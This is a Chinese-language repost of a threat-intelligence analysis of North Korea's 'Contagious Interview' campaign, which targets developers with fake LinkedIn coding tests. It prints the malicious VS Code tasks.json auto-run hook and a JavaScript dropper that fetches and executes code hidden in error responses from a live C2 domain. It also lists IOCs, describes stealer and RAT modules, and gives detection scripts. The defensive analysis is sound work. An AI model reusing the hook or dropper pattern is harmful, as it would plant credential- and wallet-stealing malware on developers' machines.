文章总结: 本文分析了朝鲜ContagiousInterview攻击活动,揭示了通过LinkedIn分发恶意代码库的攻击手法。攻击者滥用VSCode任务配置及npm依赖植入恶意软件,采用Node.js与Python双栈架构窃取凭据、监控剪贴板并部署挖矿程序。文章详细解析了攻击链路、IOC及持久化机制,提供了检测清除脚本,建议开发者禁用自动任务执行并在隔离环境中审查代码。 综合评分: 95 文章分类: 威胁情报,恶意软件,应急响应,漏洞分析,安全意识
VS Code Tasks 滥用:朝鲜”Contagious Interview”攻击活动技术分析
whoami0002 whoami0002
SecurityPaper
2026年1月15日 14:33 江苏
VS Code Tasks 滥用:朝鲜”Contagious Interview”攻击活动技术分析
本文详细分析了与朝鲜”Contagious Interview”活动相关的恶意代码库,揭示了攻击者如何利用 VS Code 任务执行机制和 npm 应用来实施恶意攻击。
执行摘要
本报告详细分析了一个与朝鲜”Contagious Interview”活动相关的恶意代码库(https://bitbucket[.]org/0xmvptechlab/ctrading)的取证分析。该恶意软件通过嵌入 VS Code 任务执行钩子以及常规 npm 应用执行恶意请求来针对开发者。
攻击采用”双栈”架构:
- Node.js 层:感染后立即执行,窃取凭据、记录按键,并在
.npm目录中建立隐蔽的远程访问木马(RAT)。 - Python 层:下载二级基础设施,用于长期监控、加密货币钱包窃取和挖矿。
感染途径通常涉及通过 LinkedIn 作为”带回家”技术评估分发的恶意代码库。在某些情况下,当目标是安全研究人员或公司开发者时,会以代码审查请求的形式出现,通过合作提案来引诱目标。威胁行为者利用被入侵或伪造的高粉丝数个人资料,冒充知名组织的招聘人员和业务开发人员。
这些活动非常普遍,我们高度确信它们来自朝鲜威胁行为者。在过去一个月中,三名不同的受害者联系了 SEAL 寻求帮助。每个受害者都以相同的方式被接近,每个人都遭受了重大财务损失。尽管没有受害者直接执行代码,但他们都在 VS Code 实例中启用了”受信任工作区”——要么是为了手动检查代码,要么是为了允许 AI 工具这样做。每次攻击都遵循下面分析的最新案例中描述的相同 IOC 和 TTP。此外,每个恶意代码库的 GitHub 提交历史都指向 KST+9(韩国)时区设置。
基于 Python 的恶意软件是众所周知的 InvisibleFerret 变体,而 Node.js 层是同样流行的 BeaverTail。我们已经映射了两个执行层留下的所有文件系统痕迹,并为开发者提供了如何限制其 VS Code 攻击面并执行完整性检查以查找过去感染迹象的说明。虽然这些活动在社交工程方面持续且复杂,但由于容易被指纹识别的行为和除 Windows 外所有平台上都损坏的持久化模块,恶意软件未能充分发挥其潜力。
朝鲜威胁行为者身份和社交工程方法
受害者最初在 LinkedIn 上被名为”John Meltzer“的人联系,他是名为”Meta2140“项目的 CTO。受害者收到了一个 Notion[.]so 网站的链接,其中包含技术评估任务描述和托管恶意代码的 Bitbucket 代码库 URL。尽管受害者只克隆了代码库而没有执行它,但这足以触发 VS Code 任务劫持攻击。
项目”Meta2140″似乎完全由朝鲜威胁行为者运营。发起联系的身份与恶意代码库中提交消息的作者不同;然而,两者都声称是”Meta2140″的员工。此外,在提交历史中找到的身份与朝鲜 IT 工作者过去开发欺诈项目”Ultra-X”的努力有关。这一发现使我们能够以中等至高度置信度,将一些正在进行的 Contagious Interview 活动归因于少数已知的朝鲜 IT 工作者,他们至少从 2024 年初开始就活跃在这一领域。
来自 ctrading 代码库的提交数据
commit b38de9527e8ead69a8ead5ce52a9202d2b58b5b7 (HEAD -> main, origin/main, origin/HEAD)
Author: Pietro <[email protected]>
Date: Thu Jan 8 00:53:44 2026 +0900
feat(ui): add some fonts
GitHub 个人资料:https://github.com/pietroETH
基于部署的恶意软件的结构和执行,我们认为这个特定的朝鲜威胁行为者集群优先考虑一次性数据、凭据和加密货币钱包窃取,而不是在受害者主机上建立持久连接。
初始访问和感染途径
恶意软件通过两种途径嵌入到代码库中。第三种途径,恶意 npm 依赖项,在攻击时已从 npmjs 注册表中删除,很可能是攻击者意外留下的(过去活动的痕迹)。
A. VS Code 任务劫持
更复杂/新颖的途径涉及 .vscode/tasks.json。一个名为 eslint-check 的隐藏任务配置了 runOn: folderOpen。它执行一个伪装成字体的 JavaScript 文件。
文件:.vscode/tasks.json
{
"label": "eslint-check",
"type": "shell",
"command": "node public/font/fa-brands-regular.woff2", <---这将执行
"runOptions": {
"runOn": "folderOpen" <---危险
}
}
B. 应用程序逻辑钩子
如果 VS Code 途径失败,恶意软件会钩住应用程序的运行时。文件 server/routes/api/profile.js 包含一个 getPassport 函数。当开发者运行服务器并触发此函数时,感染开始。
文件:server/routes/api/profile.js
constdomain="chainlink-api-v3.com"; // 域名抢注
constsubdomain="api/service/token"
consterrorHandler= (error) => {
try {
// ... (验证逻辑) ...
constcreateHandler= (errCode) => {
try {
// 动态执行错误字符串
consthandler=new (Function.constructor)('require', errCode);
returnhandler;
} catch (e) { returnnull; }
};
consthandlerFunc=createHandler(error);
if (handlerFunc) { handlerFunc(require); }
} catch (globalError) { }
};
constid="b2040f01294c183945fdbe487022cf8e";
constgetPassport= () => {
// 服务器在 404/500 错误响应中返回有效载荷
axios.get(`http://${domain}/${subdomain}/${id}`)
.then(res=>res.data)
.catch(err=>errorHandler(err.response.data||"404"));
}
C. 恶意依赖项
恶意软件还尝试使用 npm install 安装恶意依赖项 grayavatar。该依赖项请求使用 child_process 执行 shell 访问以执行混淆的 JavaScript 代码。包的详细信息可以在这里查看:https://socket.dev/npm/package/grayavatar/overview/1.0.2
文件:ctrading/server/package.json(部分)
{
"dependencies": {
"grayavatar": "latest"
}
}
阶段 1:”错误处理程序”投放器
初始 JavaScript 有效载荷(在假字体和 profile.js 中找到)联系 C2 域(chainlink-api-v3.com)。
服务器故意返回非 200 错误代码(例如 404)。脚本捕获错误响应体,其中包含实际的恶意代码,并使用 new Function() 执行它。
投放器逻辑:
consterrorHandler= (error) => {
try {
constcreateHandler= (errCode) => {
// 将错误字符串编译为可执行代码
consthandler=new (Function.constructor)('require', errCode);
returnhandler;
};
consthandlerFunc=createHandler(error);
if (handlerFunc) {
handlerFunc(require); // 执行有效载荷
}
} catch (globalError) {}
};
阶段 2:内存中的 Node.js 控制器
在阶段 1 中获取的有效载荷是一个复杂的 Node.js 控制器,完全在内存中执行。它不会立即将自己写入磁盘。它的作用是立即窃取数据并部署二级 Python 基础设施。它执行五个不同的模块:
1. 键盘记录器和屏幕截图工具
安装 node-global-key-listener 和 screenshot-desktop。它捕获击键并在鼠标点击或按 Enter 键时拍摄屏幕截图,将它们上传到 172.86.116.178。
内存模块(键盘记录器)
execSync("npm install --save node-global-key-listener screenshot-desktop sharp ...", {
windowsHide: true
});
// ... (23721 个字符省略) ...
2. 文件抓取器
扫描常见位置以查找敏感文件(.env、secrets.json、config.json 等),并将它们上传到 C2。
3. 剪贴板监控器(Clipper)
监控剪贴板内容,查找加密货币地址。如果检测到,会用攻击者的地址替换它们。
4. 钱包窃取器
从常见位置复制加密货币钱包数据库(LevelDB),包括:
- MetaMask
- Trust Wallet
- Atomic Wallet
- 其他基于 Electron 的钱包
5. Python 基础设施部署
下载 Python 加载器脚本(.nlp 文件)并执行它,启动二级 Python 有效载荷。
阶段 3:Python 有效载荷
Python 层包含两个主要模块:
A. way.py(远程访问木马)
- 连接到
146.70.253.107:2242 - 提供远程命令执行
- 在 Windows 上加载 AnyDesk
- 杀死浏览器(Chrome/Brave)以解锁数据库文件供 Node.js 使用
- 在 Windows 上执行键盘记录
B. pow.py(挖矿程序 – 仅 Windows)
- 下载并执行 XMRig(伪装成
msedge.exe) - 建立持久化(启动项 + 任务计划程序”Runtime Broker”)
- 注意:在 Linux/Mac 上失败/退出(缺少 ‘winreg’)
持久化机制
Node.js 层持久化
在 ~/.npm/scoped_dir*/ 中创建隐藏的 Node 模块,包含:
main.js:持久化加载器- 其他支持文件
加载器通过以下方式保持活动:
- 定期检查
~/.npm/vhost.ctl锁文件 - 如果进程不存在,重新启动 Node.js 控制器
Python 层持久化(仅 Windows)
- 启动文件夹:
%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\Windows Update Script.pyw - 任务计划程序:创建名为”Runtime Broker”的任务
- Windows Defender 排除项:添加
.npm、.n2、.n3、.nlp目录到排除列表
检测和清除指南
快速检测脚本(Windows PowerShell)
以下是一个完整的 PowerShell 脚本,用于快速检测系统是否被此恶意软件感染:
1. 扫描可疑进程
Write-Host"`n== Suspicious Processes =="-ForegroundColorYellow
$procs=Get-WmiObjectWin32_Process-ErrorActionSilentlyContinue|Where-Object{(($_.CommandLine-imatch'node'-or$_.CommandLine-imatch'python')-and($_.CommandLine-imatch'\\\.npm|\\\.n2|\\\.n3|\\\.nlp'))-or($_.Name-imatch'Runtime Broker\.exe|msedge\.exe'-and$_.ExecutablePath-imatch'AppData\\Microsoft\\Windows\\Applications')}
if($procs){
$procs|ForEach-Object{
Write-Host"THREAT FOUND: $($_.Name) [PID: $($_.ProcessId)]"-ForegroundColorRed
Write-Host" ExecutablePath: $($_.ExecutablePath)"-ForegroundColorRed
Write-Host" CommandLine: $($_.CommandLine)"-ForegroundColorRed
}
}else{
Write-Host"No suspicious processes"-ForegroundColorGreen
}
2. 扫描 AppData 中的可疑文件
Write-Host"`n== Suspicious files in AppData =="-ForegroundColorYellow
$appdata=@("$env:APPDATA\Microsoft\Windows\Applications\Runtime Broker.exe","$env:LOCALAPPDATA\Microsoft\Windows\Applications\msedge.exe","$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\Windows Update Script.pyw")|Where-Object{Test-Path$_}
if($appdata){
$appdata|ForEach-Object{Write-Host"THREAT FOUND: $_"-ForegroundColorRed}
}else{
Write-Host"No suspicious AppData files"-ForegroundColorGreen
}
3. 扫描可疑的计划任务
Write-Host "`n== Suspicious Scheduled Tasks ==" -ForegroundColor Yellow
$tasks=Get-ScheduledTask -ErrorAction SilentlyContinue | Where-Object { ($_.TaskName -eq 'Runtime Broker') -or (($_.Actions.Execute + " " + $_.Actions.Arguments) -imatch 'node|python' -and ($_.Actions.Execute + " " + $_.Actions.Arguments) -imatch '\\\.npm|\\\.n2|\\\.n3|\\\.nlp') -or ($_.Actions.Execute -imatch 'Runtime Broker\.exe|msedge\.exe' -and $_.Actions.Execute -imatch 'AppData') }
if ($tasks) {
$tasks | ForEach-Object {
Write-Host "THREAT FOUND: Task '$($_.TaskName)' [$($_.TaskPath)]" -ForegroundColor Red
Write-Host " Execute: $($_.Actions.Execute)" -ForegroundColor Red
}
} else {
Write-Host "No suspicious scheduled tasks" -ForegroundColor Green
}
4. 扫描 Windows Defender 排除项
Write-Host "`n== Windows Defender Exclusions ==" -ForegroundColor Yellow
try {
$prefs=Get-MpPreference
$excl=$prefs.ExclusionPath + $prefs.ExclusionProcess | Where-Object { $_ -imatch '\\\.npm|\\\.n2|\\\.n3|\\\.nlp|AppData\\Microsoft\\Windows\\Applications' }
if ($excl) {
$excl | ForEach-Object { Write-Host "THREAT FOUND: Defender exclusion '$_'" -ForegroundColor Red }
} else {
Write-Host "No suspicious Defender exclusions" -ForegroundColor Green
}
} catch {
Write-Host "Defender data unavailable (requires admin)" -ForegroundColor Yellow
}
Write-Host ""
如何检查是否被感染(手动检查)
1. 检查 VS Code 任务配置
检查项目中的 .vscode/tasks.json 文件,查找:
runOn: "folderOpen"配置- 执行可疑文件的任务(如
.woff2文件)
2. 检查文件系统痕迹
在以下位置查找可疑文件:
Linux/Mac:
ls -la ~/.npm/scoped_dir*/
ls -la ~/.nlp
ls -la ~/.n2/
ls -la ~/.n3/
cat ~/.npm/vhost.ctl
cat ~/.npm/npm-compiler.log
Windows:
dir %USERPROFILE%\.npm\scoped_dir*
dir %USERPROFILE%\.nlp
dir %USERPROFILE%\.n2
dir %USERPROFILE%\.n3
type %USERPROFILE%\.npm\vhost.ctl
type %USERPROFILE%\.npm\npm-compiler.log
3. 检查进程
查找可疑的 Node.js 和 Python 进程:
# Linux/Mac
ps aux | grep -E "node.*\.npm|python.*\.nlp|python.*\.n2"
# Windows
tasklist | findstr /i "node python"
4. 检查网络连接
查找与已知 C2 服务器的连接:
# Linux/Mac
netstat -an | grep -E "172.86.116.178|146.70.253.107|chainlink-api-v3.com"
# Windows
netstat -an | findstr "172.86.116.178 146.70.253.107"
清除步骤
如果发现感染迹象:
- 断开网络连接:立即断开互联网连接
- 终止进程:杀死所有可疑的 Node.js 和 Python 进程
- 删除文件:删除所有检测到的恶意文件和目录
- 清理注册表(Windows):删除任务计划程序条目和启动项
- 重置 Defender 排除项(Windows):移除恶意排除项
- 更改凭据:更改所有可能泄露的密码和 API 密钥
- 检查钱包:如果使用加密货币钱包,检查是否有未授权交易
- 全面扫描:运行完整的防病毒扫描
基础设施和 IOC
| URL / IP | 路径 | 端口 | 功能 | | — | — | — | — | | chainlink-api-v3.com | /api/service/token/… | 80 | 阶段 1 和 5:通过错误 404 传递 JS 有效载荷。 | | 146.70.253.107 | /client/5346/1014 | 1224 | 阶段 2:下载 Python 加载器(.nlp)。 | | 146.70.253.107 | /payload/5346/1014 | 1224 | 阶段 3:下载 RAT(way)。 | | 146.70.253.107 | /brow/5346/1014 | 1224 | 阶段 3:下载挖矿程序(pow)。 | | 146.70.253.107 | /keys | 2242 | RAT:数据泄露和命令通道。 | | 172.86.116.178 | /api/service/process | 5918 | Node RAT:vhost.ctl 通信。 | | 172.86.116.178 | /upload | 5978 | 数据泄露:屏幕截图/剪贴板上传。 |
文件系统痕迹
~/.nlp(Python 加载器脚本)~/.n2/(包含way和pow的目录)~/.n3/(被盗文件的暂存目录)~/.n2/flist(泄露文件日志 – 如果存在)~/.npm/vhost.ctl(Node RAT 的 PID 文件)~/.npm/npm-compiler.log(Clipper 的 PID 文件)~/.npm/scoped_dir*(隐藏的恶意 Node 模块)
攻击执行流程详解
🎯 阶段 1:感染途径(双通道)
攻击者设计了两条感染路径,确保至少有一条能够成功:
路径 A:VS Code 任务劫持 ⚠️
触发条件:用户在 VS Code 中打开项目并启用”受信任工作区”
- 初始执行
- 文件:
.vscode/tasks.json - 配置:
runOn: "folderOpen"(文件夹打开时自动执行) - 目标:
public/font/fa-brands-regular.woff2(伪装成字体文件的 JS)
- 持久化部署
- 创建:
~/.npm/scoped_dir.../main.js(持久化加载器) - 启动:
node main.js(分离进程,后台运行)
- 载荷获取
- 请求:
http://chainlink-api-v3.com/api/service/token/... - 响应:HTTP 404 错误(载荷隐藏在错误响应体中)
- 执行:在内存中执行阶段 2 代码
路径 B:应用逻辑钩子
触发条件:开发者运行应用服务器
- 钩子触发
- 文件:
server/routes/api/profile.js - 函数:
getPassport()
- 载荷获取
- 请求:
http://chainlink-api-v3.com/api/service/token/... - 响应:HTTP 404 错误(载荷在响应体中)
- 执行:在内存中执行阶段 2 代码(易失性,重启后消失)
💻 阶段 2:Node.js 控制器(内存执行)
获取的载荷在内存中执行,不写入磁盘,隐蔽性极高。
2.1 初始化模块
- ✅ 检查/创建锁文件:
~/.npm/vhost.ctl、npm-compiler.log - ✅ 建立 C2 连接:
172.86.116.178(C2 集群 B)
2.2 数据窃取模块(5个模块同时运行)
| 模块 | 功能 | 目标数据 |
| — | — | — |
| 🎹 键盘记录器 | 记录所有按键 + 鼠标点击时截图 | 上传到 172.86.116.178:5978 |
| 📁 文件抓取器 | 扫描敏感文件 | .env、secrets.json、config.json 等 |
| 📋 剪贴板监控器 | 监控并替换加密货币地址 | 替换为攻击者的钱包地址 |
| 💰 钱包窃取器 | 复制钱包数据库 | MetaMask、Trust Wallet 等 LevelDB |
| 🐍 Python 部署器 | 下载并执行 Python 层 | 从 146.70.253.107:1224 下载 |
2.3 Python 基础设施部署
- 下载地址:
146.70.253.107:1224/client/5346/1014 - 保存位置:
~/.nlp(Linux/Mac)或%USERPROFILE%\.nlp(Windows) - 立即执行:启动 Python 层恶意代码
🐍 阶段 3:Python 有效载荷(~/.n2/)
Python 层提供长期监控和挖矿功能。
模块 A:way.py(远程访问木马 – RAT)
主要功能:
- 建立持久连接
- C2 服务器:
146.70.253.107:2242 - 功能:接收并执行远程命令
- 辅助 Node.js 层
- 杀死浏览器进程(Chrome、Brave)
- 目的:解锁钱包数据库文件,供 Node.js 复制
- Windows 特定功能
- 键盘记录(Windows API)
- 加载 AnyDesk(远程桌面控制)
模块 B:pow.py(挖矿程序 – 仅 Windows)
主要功能:
- 持久化机制
- 启动文件夹:添加自启动脚本
- 任务计划程序:创建”Runtime Broker”任务
- 挖矿部署
- 下载:XMRig 挖矿程序
- 伪装:命名为
msedge.exe(假冒 Edge 浏览器) - 位置:
%APPDATA%\Microsoft\Windows\Applications\
- 平台限制
- ⚠️ 仅在 Windows 上工作
- ❌ Linux/Mac 上会失败(缺少
winreg模块)
📊 攻击流程总结
用户打开恶意项目
↓
VS Code 自动执行任务 或 运行应用服务器
↓
触发感染(路径 A 或 B)
↓
从 C2 获取 Node.js 载荷(隐藏在 HTTP 404 错误中)
↓
在内存中执行 Node.js 控制器
↓
├─ 立即窃取数据(键盘记录、文件、剪贴板、钱包)
├─ 上传到 C2 服务器(172.86.116.178)
└─ 下载并执行 Python 层(146.70.253.107)
↓
Python 层启动
↓
├─ way.py:建立 RAT 连接,远程控制
└─ pow.py:部署挖矿程序(仅 Windows)
↓
攻击完成:
- ✅ 数据已窃取
- ✅ 远程访问已建立
- ✅ 挖矿程序运行中
防护建议
对于开发者
- 谨慎处理未知代码库
- 不要盲目信任从 LinkedIn 或其他来源收到的代码库
- 在克隆代码库之前验证发送者的身份
- VS Code 安全设置
- 不要启用”受信任工作区”,除非你完全信任代码库
- 检查
.vscode/tasks.json中的runOn: "folderOpen"配置 - 在打开项目之前审查所有任务配置
- 代码审查
-
.vscode/tasks.json -
package.json中的依赖项 -
任何执行网络请求的代码
-
在运行任何代码之前,仔细审查代码库
-
特别关注:
- 隔离环境
- 在虚拟机或隔离环境中测试未知代码
- 使用专用的开发机器,不要在生产环境中测试
- 监控和检测
- 定期检查文件系统是否有可疑文件
- 监控网络连接
- 使用防病毒软件和端点检测工具
对于组织
- 安全意识培训
- 教育开发者识别社交工程攻击
- 强调不要盲目信任外部代码库
- 代码审查流程
- 建立严格的代码审查流程
- 要求所有外部代码经过安全审查
- 网络监控
- 监控出站连接到已知的 C2 服务器
- 使用网络流量分析工具
- 端点保护
- 部署端点检测和响应(EDR)解决方案
- 定期扫描恶意软件
总结
朝鲜”Contagious Interview”活动展示了攻击者如何利用开发者的信任和开发工具的便利性来实施复杂的攻击。通过滥用 VS Code 的任务自动执行功能,攻击者能够在受害者甚至没有直接运行代码的情况下感染系统。
关键要点:
- VS Code 任务配置可能很危险:
runOn: "folderOpen"功能虽然方便,但可能被恶意利用 - 社交工程仍然有效:攻击者通过冒充招聘人员和提供技术评估来获得信任
- 多层攻击:攻击使用 Node.js 和 Python 两层,增加了检测难度
- 持久化机制不完善:除了 Windows 外,持久化在其他平台上失败,限制了攻击影响
开发者应该:
- 永远不要盲目信任外部代码库
- 仔细审查 VS Code 任务配置
- 在隔离环境中测试未知代码
- 保持安全意识和警惕性
原文链接:https://radar.securityalliance.org/vs-code-tasks-abuse-by-contagious-interview-dprk/
免责声明:本文仅供安全研究和教育目的。请遵守相关法律法规,不得用于非法用途。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:SecurityPaper whoami0002 whoami0002《VS Code Tasks 滥用:朝鲜”Contagious Interview”攻击活动技术分析》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论